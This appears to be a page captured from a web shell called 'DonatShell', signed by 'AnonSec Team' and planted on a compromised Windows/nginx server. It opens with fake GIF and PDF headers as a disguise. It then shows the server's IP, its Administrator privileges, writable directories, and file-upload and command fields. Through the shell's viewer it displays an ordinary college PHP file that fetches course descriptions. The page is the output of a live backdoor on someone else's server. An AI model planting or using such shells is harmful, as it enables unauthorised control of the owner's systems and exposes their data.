GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Course/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Course/CourseInformation.phpinc
<?
// CourseInformation.phpinc
include ('courseInfo.phpinc');
#echo __FILE__;

$CDN = courseDeptNumber($courseNumber);
$URLget = "http://legacy.ridgewater.edu/Courses/?CD=".$CDN[0]."&CN=".$CDN[1];
//echo $URLget."<br>\n";

function file_get_contents_error_skip($errno, $errstr, $errfile, $errline, $errcontext) {
	$_SESSION['error'] = true;
	restore_error_handler();
	return false;
}

$current_error_reporting = ini_get("error_reporting");
error_reporting(0);
$_SESSION['error'] = false;
$previous_error_handler = set_error_handler('file_get_contents_error_skip');
error_reporting(E_ERROR);
$courseRow = file_get_contents($URLget,false,null);
#echo "\$courseRow=$courseRow<br>\n";
error_reporting($current_error_reporting);
restore_error_handler();
#echo "<b>\$_SESSION['error'] is ";if($_SESSION['error']) { echo 'true'; } else { echo 'false'; }; echo "</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n";

//echo $courseRow;
//

if (!$_SESSION['error']) { 
	$courseTitleStart = stripos($courseRow,'<td width="*" class="courseTopBorderBold">')+42;
	$courseTitleEnd = stripos($courseRow,'</td>',$courseTitleStart);
	$courseTitleLength = $courseTitleEnd - $courseTitleStart;
	$courseTitle = substr($courseRow, $courseTitleStart,$courseTitleLength);
	$pageStart = stripos($courseRow,"</form>")+7;
	$pageEnd = stripos($courseRow,"</body>");
	$characterToDisplay = $pageEnd - $pageStart;
	$courseDescription = substr($courseRow, stripos($courseRow,"</form>")+7,$characterToDisplay);
} else {
	$courseTitle = '';
	$courseDescription = '';
}
$headTitle = '_CST_ - '.$CDN[0].$CDN[1].' '.$courseTitle;
$pageTitle = $CDN[0].$CDN[1].' '.$courseTitle;
$pageMenu = 'Course/courseMenu.phpinc';
$css = "printing";
require('common/pageHeader.phpinc');
$sectionTitle = $CDN[0].$CDN[1]." Course Information";
require('common/sectionHeader.phpinc');
?>
<p style="margin:20px;">
<?
	echo $courseDescription;
?>
</p>
<?

require('common/sectionFooter.phpinc');
require('common/pageFooter.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";

?>

Anon7 - 2022
AnonSec Team